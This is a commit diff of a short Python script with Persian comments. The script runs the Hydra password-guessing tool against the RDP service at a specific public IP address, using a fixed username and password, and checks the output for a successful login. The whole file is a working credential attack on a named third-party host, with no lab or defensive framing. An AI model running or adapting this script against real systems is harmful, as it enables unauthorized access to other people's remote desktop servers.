Update app.py
Browse files
app.py
CHANGED
|
@@ -1,5 +1,5 @@
|
|
| 1 |
import subprocess
|
| 2 |
-
import re
|
| 3 |
|
| 4 |
# دستور Hydra برای اجرا
|
| 5 |
command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.246.202"]
|
|
@@ -7,8 +7,9 @@ command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.2
|
|
| 7 |
# اجرای دستور و نتیجهی بازگشتی
|
| 8 |
result = subprocess.run(command, capture_output=True, text=True)
|
| 9 |
|
| 10 |
-
|
| 11 |
-
|
|
|
|
| 12 |
print("پیدا شد")
|
| 13 |
else:
|
| 14 |
-
print("نشد
|
|
|
|
| 1 |
import subprocess
|
| 2 |
+
import re
|
| 3 |
|
| 4 |
# دستور Hydra برای اجرا
|
| 5 |
command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.246.202"]
|
|
|
|
| 7 |
# اجرای دستور و نتیجهی بازگشتی
|
| 8 |
result = subprocess.run(command, capture_output=True, text=True)
|
| 9 |
|
| 10 |
+
output = result.stdout
|
| 11 |
+
kir = re.search("successfully", output)
|
| 12 |
+
if kir:
|
| 13 |
print("پیدا شد")
|
| 14 |
else:
|
| 15 |
+
print("نشد🚫")
|